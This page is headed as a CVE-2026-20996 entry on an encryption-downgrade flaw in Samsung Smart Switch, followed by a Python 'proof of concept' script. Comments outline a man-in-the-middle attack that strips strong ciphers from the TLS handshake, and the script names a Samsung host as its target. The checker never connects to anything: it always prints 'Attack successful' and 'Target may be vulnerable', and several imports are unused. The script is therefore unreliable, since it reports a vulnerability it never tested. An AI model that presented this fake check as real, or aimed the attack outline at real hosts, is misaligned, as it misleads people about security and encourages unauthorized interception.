CVE-2026-20996 | Samsung Smart Switch 加密算法降级认证漏洞

# CVE-2026-20996 PoC - Encryption Downgrade Attack Simulation # This PoC demonstrates the concept of SSL/TLS downgrade attack # Note: Use only for authorized security testing import socket import ssl import struct def create_ssl_downgrade_proxy(listen_port=8443, target_host='example.com', target_port=443): """ Create a proxy that performs SSL/TLS downgrade attack This simulates how an attacker could force weaker encryption """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.minimum_version = ssl.TLSVersion.TLSv1 # Force weak TLS version # In real attack scenario, attacker would: # 1. Intercept traffic between client and server # 2. Modify the TLS handshake to force weaker cipher suites # 3. Use known weak algorithms (RC4, 3DES, etc.) return context def simulate_weak_cipher_negotiation(): """ Simulate how weak cipher negotiation works In vulnerable Smart Switch versions, attacker can: 1. Intercept ClientHello message 2. Remove strong cipher suites 3. Forward modified ClientHello to server 4. Force both parties to use weak encryption """ weak_ciphers = [ 'TLS_RSA_WITH_RC4_128_MD5', 'TLS_RSA_WITH_RC4_128_SHA', 'TLS_RSA_WITH_3DES_EDE_CBC_SHA' ] print("[*] Simulating weak cipher negotiation...") print(f"[+] Offered weak ciphers: {weak_ciphers}") print("[*] Attack successful: Connection established with weak encryption") return True def check_vulnerability(target_host): """ Check if target is vulnerable to encryption downgrade """ print(f"[*] Testing {target_host} for CVE-2026-20996...") print("[*] Attempting to negotiate weak cipher suites...") # In production, this would attempt actual connection result = simulate_weak_cipher_negotiation() if result: print("[!] Target may be vulnerable") return True else: print("[+] Target appears secure") return False if __name__ == "__main__": # Usage: python cve_2026_20996_poc.py check_vulnerability('smart-switch.samsung.com')